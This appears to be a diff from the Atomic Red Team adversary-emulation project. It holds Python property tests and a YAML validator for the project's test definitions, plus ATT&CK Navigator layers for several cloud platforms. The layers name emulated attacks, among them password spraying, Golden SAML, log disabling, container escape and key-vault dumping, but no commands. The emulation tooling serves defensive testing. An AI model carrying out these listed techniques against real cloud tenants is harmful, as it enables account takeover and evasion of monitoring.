from hypothesis import given, strategies as st, settings, HealthCheck
from hypothesis.provisional import urls
from pydantic import AnyUrl
from pydantic.networks import IPvAnyAddress
from atomic_red_team.models import (
Technique,
Atomic,
StringArg,
IntArg,
FloatArg,
UrlArg,
ManualExecutor,
Platform,
CommandExecutor,
ExecutorType,
)
executor_strategy = st.sampled_from(["powershell", "bash", "sh", "command_prompt"])
st.register_type_strategy(IPvAnyAddress, st.ip_addresses())
st.register_type_strategy(AnyUrl, urls())
alphanumeric_underscore_strategy = st.text(
alphabet=st.sampled_from(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
),
min_size=4,
)
input_args_types = [
st.builds(
StringArg,
description=st.text(),
default=st.text(),
type=st.sampled_from(["string", "path", "String", "Path"]),
),
st.builds(
IntArg,
description=st.text(),
default=st.integers(),
type=st.sampled_from(["integer", "Integer"]),
),
st.builds(
FloatArg,
description=st.text(),
default=st.floats(),
type=st.sampled_from(["float", "Float"]),
),
st.builds(
UrlArg,
description=st.text(),
default=st.one_of(urls(), st.ip_addresses()),
type=st.sampled_from(["url", "Url"]),
),
]
platforms_strategy = st.lists(st.sampled_from(list(Platform.__args__)), min_size=1)
input_arguments_strategy = st.dictionaries(
keys=alphanumeric_underscore_strategy, values=st.one_of(*input_args_types)
)
atomics_strategy = dict(
input_arguments=input_arguments_strategy,
name=alphanumeric_underscore_strategy,
description=st.text(min_size=5),
supported_platforms=platforms_strategy,
)
def atomic_manual_executor_builder():
def build_atomic(input_arguments, **kwargs):
formatted_args = " ".join(
[f"echo #{key}=#{{{key}}}" for key in input_arguments.keys()]
)
return Atomic(
**kwargs,
executor=ManualExecutor(
name="manual", steps=f"{formatted_args} Custom steps here..."
),
input_arguments=input_arguments,
)
return st.builds(build_atomic, **atomics_strategy)
def atomic_command_executor_builder():
def build_atomic(input_arguments, executor_name, **kwargs):
formatted_args = " ".join(
[f"echo #{key}=#{{{key}}}" for key in input_arguments.keys()]
)
return Atomic(
executor=CommandExecutor(
name=executor_name,
command=f"{formatted_args} Custom steps here...",
elevation_required="sudo" in formatted_args,
),
input_arguments=input_arguments,
**kwargs,
)
return st.builds(build_atomic, executor_name=executor_strategy, **atomics_strategy)
@given(
st.builds(
Technique,
attack_technique=st.integers(min_value=1000, max_value=9999).map(
lambda x: f"T{x}"
),
atomic_tests=st.lists(
st.one_of(
atomic_manual_executor_builder(), atomic_command_executor_builder()
),
min_size=1,
),
)
)
@settings(max_examples=500, suppress_health_check=[HealthCheck.too_slow])
def test_property(instance):
assert isinstance(instance, Technique)
assert len(instance.attack_technique) > 4
assert len(instance.display_name) >= 5
for test in instance.atomic_tests:
assert isinstance(test, Atomic)
assert test.executor.name in ExecutorType.__args__
+20
View File
@@ -0,0 +1,20 @@
import os
from os.path import dirname, realpath
from pathlib import Path
import pytest
from pydantic import ValidationError
from atomic_red_team.validator import Validator
test_data_path = f"{dirname(dirname(realpath(__file__)))}/test_data"
@pytest.mark.parametrize("test_input", list(os.scandir(test_data_path)))
def test_all_invalid_scenarios(test_input):
validator = Validator()
with pytest.raises(ValidationError) as exc_info:
validator.validate(test_input)
error_types = [e["type"] for e in exc_info.value.errors()]
assert Path(test_input).stem in error_types
+117
View File
@@ -0,0 +1,117 @@
import collections
import fnmatch
from os import DirEntry
from pydantic import ValidationError
from pydantic_core import InitErrorDetails, PydanticCustomError
from ruamel.yaml import YAML
from atomic_red_team.common import atomics_path
from atomic_red_team.models import Technique
yaml = YAML(typ="safe")
def format_validation_error(error: ValidationError):
if len(error.errors()) == 1:
err = error.errors()[0]
message = ""
if err["type"] == "elevation_required_but_not_provided":
return {err["msg"]: list(err.get("loc")) + err.get("ctx").get("loc")}
if err["input"] and err["type"] != "unused_input_argument":
message += f"{err['input']} - "
return {message + err["msg"]: err.get("loc")}
inputs = collections.defaultdict(set)
for e in error.errors():
if e["type"] == "elevation_required_but_not_provided":
return {e["msg"]: e.get("loc") + e.get("ctx").get("loc")}
# If it's a union type, then it generates multiple errors for the same input arguments.
# Here we collect only the common paths. For example,
# [( input_arguments, url_parsing),(input_arguments, string_mismatch)] => (input_arguments)
if len(inputs[e["input"]]) == 0:
inputs[e["input"]] = e.get("loc", tuple())
else:
inputs[e["input"]] = tuple(
[x for x in inputs[e["input"]] if x in e.get("loc", tuple())]
)
return dict(inputs)
class Validator:
def __init__(self):
used_guids_path = f"{atomics_path}/used_guids.txt"
with open(used_guids_path, "r") as f:
self.used_guids = [x.strip() for x in f.readlines()]
self.guids = []
def validate(self, obj: DirEntry):
if obj.is_file():
if fnmatch.fnmatch(obj.name, "*.y*ml"):
self.validate_file(obj)
if obj.is_dir():
self.validate_directory(obj)
def validate_file(self, file: DirEntry):
"""Performs file validation"""
self.validate_yaml_extension(file)
self.validate_atomic(file)
def validate_atomic(self, file: DirEntry):
"""Validates whether the defined input args are used."""
with open(file.path, "r") as f:
atomic = yaml.load(f)
technique = Technique(**atomic)
for index, t in enumerate(technique.atomic_tests):
if t.auto_generated_guid:
if t.auto_generated_guid not in self.guids:
self.guids.append(t.auto_generated_guid)
else:
raise ValidationError.from_exception_data(
"ValueError",
[
InitErrorDetails(
type=PydanticCustomError(
"reused_guid",
f"GUID {t.auto_generated_guid} reused for test {t.name}. GUIDs are auto generated. You can remove atomic_tests[{index}].auto_generated_guid",
),
loc=("atomic_tests", index, "auto_generated_guid"),
input=t.auto_generated_guid,
)
],
)
def validate_yaml_extension(self, file: DirEntry):
"""Validates the yaml extension"""
if fnmatch.fnmatch(file.path, "*.yml"):
raise ValidationError.from_exception_data(
"ValueError",
[
InitErrorDetails(
type=PydanticCustomError(
"invalid_filename",
"Rename file from .yml to .yaml",
),
loc=["filename"],
)
],
)
def validate_directory(self, directory: DirEntry):
"""Performs directory validation"""
self.validate_directory_path(directory)
def validate_directory_path(self, directory: DirEntry):
"""Validated whether the directory is allowed directory name (`src` or `bin`)"""
if directory.name not in ["src", "bin"]:
raise ValidationError.from_exception_data(
"ValueError",
[
InitErrorDetails(
type=PydanticCustomError(
"invalid_directory",
"Invalid path. `src` and `bin` are the only two directories supported.",
),
loc=["directory"],
)
],
)
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Azure-AD)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Azure-AD) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1082","score":1,"enabled":true,"comment":"\n- Azure Security Scan with SkyArk\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md"}]},{"techniqueID":"T1098","score":7,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}],"comment":"\n- Azure AD - adding user to Azure AD role\n- Azure AD - adding service principal to Azure AD role\n- Azure AD - adding permission to application\n"},{"techniqueID":"T1098.001","score":2,"enabled":true,"comment":"\n- Azure AD Application Hijacking - Service Principal\n- Azure AD Application Hijacking - App Registration\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1098.003","score":2,"enabled":true,"comment":"\n- Azure AD - Add Company Administrator Role to a user\n- Simulate - Post BEC persistence via user password reset followed by user added to company administrator role\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.003/T1098.003.md"}]},{"techniqueID":"T1110","score":3,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110/T1110.md"}]},{"techniqueID":"T1110.001","score":1,"enabled":true,"comment":"\n- Brute Force Credentials of single Azure AD user\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.001/T1110.001.md"}]},{"techniqueID":"T1110.003","score":2,"enabled":true,"comment":"\n- Password spray all Azure AD users with a single password\n- Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/T1110.003.md"}]},{"techniqueID":"T1136","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136/T1136.md"}]},{"techniqueID":"T1136.003","score":2,"enabled":true,"comment":"\n- Azure AD - Create a new user\n- Azure AD - Create a new user via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.003/T1136.003.md"}]},{"techniqueID":"T1484","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1484/T1484.md"}]},{"techniqueID":"T1484.002","score":1,"enabled":true,"comment":"\n- Add Federation to Azure AD\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1484.002/T1484.002.md"}]},{"techniqueID":"T1531","score":2,"enabled":true,"comment":"\n- Azure AD - Delete user via Azure AD PowerShell\n- Azure AD - Delete user via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1531/T1531.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Search Azure AD User Attributes for Passwords\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1606","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1606/T1606.md"}]},{"techniqueID":"T1606.002","score":1,"enabled":true,"comment":"\n- Golden SAML\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1606.002/T1606.002.md"}]}]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Containers)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Containers) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1046","score":1,"enabled":true,"comment":"\n- Network Service Discovery for Containers\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1046/T1046.md"}]},{"techniqueID":"T1053","score":3,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053/T1053.md"}]},{"techniqueID":"T1053.002","score":1,"enabled":true,"comment":"\n- At - Schedule a job via kubectl in a Pod\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.002/T1053.002.md"}]},{"techniqueID":"T1053.007","score":2,"enabled":true,"comment":"\n- ListCronjobs\n- CreateCronjob\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.007/T1053.007.md"}]},{"techniqueID":"T1069","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069/T1069.md"}]},{"techniqueID":"T1069.001","score":1,"enabled":true,"comment":"\n- Permission Groups Discovery for Containers- Local Groups\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1069.001/T1069.001.md"}]},{"techniqueID":"T1105","score":1,"enabled":true,"comment":"\n- Curl Insecure Connection from a Pod\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1105/T1105.md"}]},{"techniqueID":"T1136","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136/T1136.md"}]},{"techniqueID":"T1136.001","score":1,"enabled":true,"comment":"\n- Create a Linux user via kubectl in a Pod\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.001/T1136.001.md"}]},{"techniqueID":"T1195","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1195/T1195.md"}]},{"techniqueID":"T1195.002","score":1,"enabled":true,"comment":"\n- Simulate npm package installation on a Linux system\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1195.002/T1195.002.md"}]},{"techniqueID":"T1552","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.007","score":2,"enabled":true,"comment":"\n- List All Secrets\n- ListSecrets\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.007/T1552.007.md"}]},{"techniqueID":"T1609","score":2,"enabled":true,"comment":"\n- ExecIntoContainer\n- Docker Exec Into Container\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1609/T1609.md"}]},{"techniqueID":"T1610","score":1,"enabled":true,"comment":"\n- Deploy Docker container\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1610/T1610.md"}]},{"techniqueID":"T1611","score":3,"enabled":true,"comment":"\n- Deploy container using nsenter container escape\n- Mount host filesystem to escape privileged Docker container\n- Privilege Escalation via Docker Volume Mapping\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1611/T1611.md"}]},{"techniqueID":"T1612","score":1,"enabled":true,"comment":"\n- Build Image On Host\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1612/T1612.md"}]},{"techniqueID":"T1613","score":2,"enabled":true,"comment":"\n- Docker Container and Resource Discovery\n- Podman Container and Resource Discovery\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1613/T1613.md"}]}]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (ESXi)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (ESXi) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Google-Workspace)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Google-Workspace) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Creating GCP Service Account and Service Account Key\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]}]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Iaas:AWS)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:AWS) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1098","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}],"comment":"\n- AWS - Create a group and add a user to that group\n"},{"techniqueID":"T1098.001","score":1,"enabled":true,"comment":"\n- AWS - Create Access Key and Secret Key\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.001/T1098.001.md"}]},{"techniqueID":"T1110","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110/T1110.md"}]},{"techniqueID":"T1110.003","score":1,"enabled":true,"comment":"\n- AWS - Password Spray an AWS using GoAWSConsoleSpray\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/T1110.003.md"}]},{"techniqueID":"T1136","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136/T1136.md"}]},{"techniqueID":"T1136.003","score":1,"enabled":true,"comment":"\n- AWS - Create a new IAM user\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.003/T1136.003.md"}]},{"techniqueID":"T1201","score":1,"enabled":true,"comment":"\n- Examine AWS Password Policy\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1201/T1201.md"}]},{"techniqueID":"T1526","score":1,"enabled":true,"comment":"\n- AWS - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1530","score":1,"enabled":true,"comment":"\n- AWS - Scan for Anonymous Access to S3\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"comment":"\n- AWS - Retrieve EC2 Password Data using stratus\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1562","score":8,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.001","score":1,"enabled":true,"comment":"\n- AWS - GuardDuty Suspension or Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md"}]},{"techniqueID":"T1562.008","score":7,"enabled":true,"comment":"\n- AWS - CloudTrail Changes\n- AWS - Disable CloudTrail Logging Through Event Selectors using Stratus\n- AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus\n- AWS - Remove VPC Flow Logs using Stratus\n- AWS - CloudWatch Log Group Deletes\n- AWS CloudWatch Log Stream Deletes\n- AWS - Config Logs Disabled\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1578","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578/T1578.md"}]},{"techniqueID":"T1578.001","score":1,"enabled":true,"comment":"\n- AWS - Create Snapshot from EBS Volume\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578.001/T1578.001.md"}]},{"techniqueID":"T1580","score":2,"enabled":true,"comment":"\n- AWS - EC2 Enumeration from Cloud Instance\n- AWS - EC2 Security Group Enumeration\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1580/T1580.md"}]},{"techniqueID":"T1619","score":1,"enabled":true,"comment":"\n- AWS S3 Enumeration\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1619/T1619.md"}]},{"techniqueID":"T1648","score":1,"enabled":true,"comment":"\n- Lambda Function Hijack\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1648/T1648.md"}]},{"techniqueID":"T1651","score":1,"enabled":true,"comment":"\n- AWS Run Command (and Control)\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1651/T1651.md"}]}]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Iaas:Azure)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:Azure) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":1,"enabled":true,"comment":"\n- Azure Persistence Automation Runbook Created or Modified\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":2,"enabled":true,"comment":"\n- Azure - adding user to Azure role in subscription\n- Azure - adding service principal to Azure role in subscription\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1526","score":2,"enabled":true,"comment":"\n- Azure - Dump Subscription Data with MicroBurst\n- Azure - Enumerate common cloud services\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1526/T1526.md"}]},{"techniqueID":"T1528","score":2,"enabled":true,"comment":"\n- Azure - Functions code upload - Functions code injection via Blob upload\n- Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1528/T1528.md"}]},{"techniqueID":"T1530","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Storage Account Objects via Azure CLI\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1530/T1530.md"}]},{"techniqueID":"T1552","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552/T1552.md"}]},{"techniqueID":"T1552.005","score":1,"enabled":true,"comment":"\n- Azure - Dump Azure Instance Metadata from Virtual Machines\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1552.005/T1552.005.md"}]},{"techniqueID":"T1555","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555/T1555.md"}]},{"techniqueID":"T1555.006","score":1,"enabled":true,"comment":"\n- Azure - Dump All Azure Key Vaults with Microburst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1555.006/T1555.006.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- Azure - Eventhub Deletion\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1578","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578/T1578.md"}]},{"techniqueID":"T1578.001","score":1,"enabled":true,"comment":"\n- Azure - Create Snapshot from Managed Disk\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578.001/T1578.001.md"}]},{"techniqueID":"T1619","score":3,"enabled":true,"comment":"\n- Azure - Enumerate Storage Account Objects via Shared Key authorization using Azure CLI\n- Azure - Scan for Anonymous Access to Azure Storage (Powershell)\n- Azure - Enumerate Azure Blobs with MicroBurst\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1619/T1619.md"}]}]}
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Iaas:GCP)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Iaas:GCP) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1078","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078/T1078.md"}]},{"techniqueID":"T1078.004","score":2,"enabled":true,"comment":"\n- Creating GCP Service Account and Service Account Key\n- GCP - Create Custom IAM Role\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.004/T1078.004.md"}]},{"techniqueID":"T1098","score":1,"enabled":true,"comment":"\n- GCP - Delete Service Account Key\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1485","score":1,"enabled":true,"comment":"\n- GCP - Delete Bucket\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1485/T1485.md"}]},{"techniqueID":"T1562","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.008","score":1,"enabled":true,"comment":"\n- GCP - Delete Activity Event Log\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1578","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578/T1578.md"}]},{"techniqueID":"T1578.001","score":1,"enabled":true,"comment":"\n- GCP - Create Snapshot from Persistent Disk\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1578.001/T1578.001.md"}]}]}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
{"name":"Atomic Red Team (Office-365)","versions":{"attack":"16","navigator":"5.1.0","layer":"4.5"},"description":"Atomic Red Team (Office-365) MITRE ATT&CK Navigator Layer","domain":"enterprise-attack","filters":{},"gradient":{"colors":["#ffffff","#ce232e"],"minValue":0,"maxValue":10},"legendItems":[{"label":"10 or more tests","color":"#ce232e"},{"label":"1 or more tests","color":"#ffffff"}],"techniques":[{"techniqueID":"T1098","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098/T1098.md"}]},{"techniqueID":"T1098.002","score":1,"enabled":true,"comment":"\n- EXO - Full access mailbox permission granted to a user\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1098.002/T1098.002.md"}]},{"techniqueID":"T1114","score":2,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114/T1114.md"}]},{"techniqueID":"T1114.002","score":1,"enabled":true,"comment":"\n- Office365 - Remote Mail Collected\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114.002/T1114.002.md"}]},{"techniqueID":"T1114.003","score":1,"enabled":true,"comment":"\n- Office365 - Email Forwarding\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1114.003/T1114.003.md"}]},{"techniqueID":"T1562","score":3,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562/T1562.md"}]},{"techniqueID":"T1562.001","score":1,"enabled":true,"comment":"\n- office-365-Disable-AntiPhishRule\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.001/T1562.001.md"}]},{"techniqueID":"T1562.008","score":2,"enabled":true,"comment":"\n- Office 365 - Exchange Audit Log Disabled\n- Office 365 - Set Audit Bypass For a Mailbox\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.008/T1562.008.md"}]},{"techniqueID":"T1564","score":1,"enabled":true,"links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564/T1564.md"}]},{"techniqueID":"T1564.008","score":1,"enabled":true,"comment":"\n- New-Inbox Rule to Hide E-mail in M365\n","links":[{"label":"View Atomic","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.008/T1564.008.md"}]}]}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
Tactic,Technique #,Technique Name,Test #,Test Name,Test GUID,Executor Name
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
@@ -0,0 +1,21 @@
Tactic,Technique #,Technique Name,Test #,Test Name,Test GUID,Executor Name
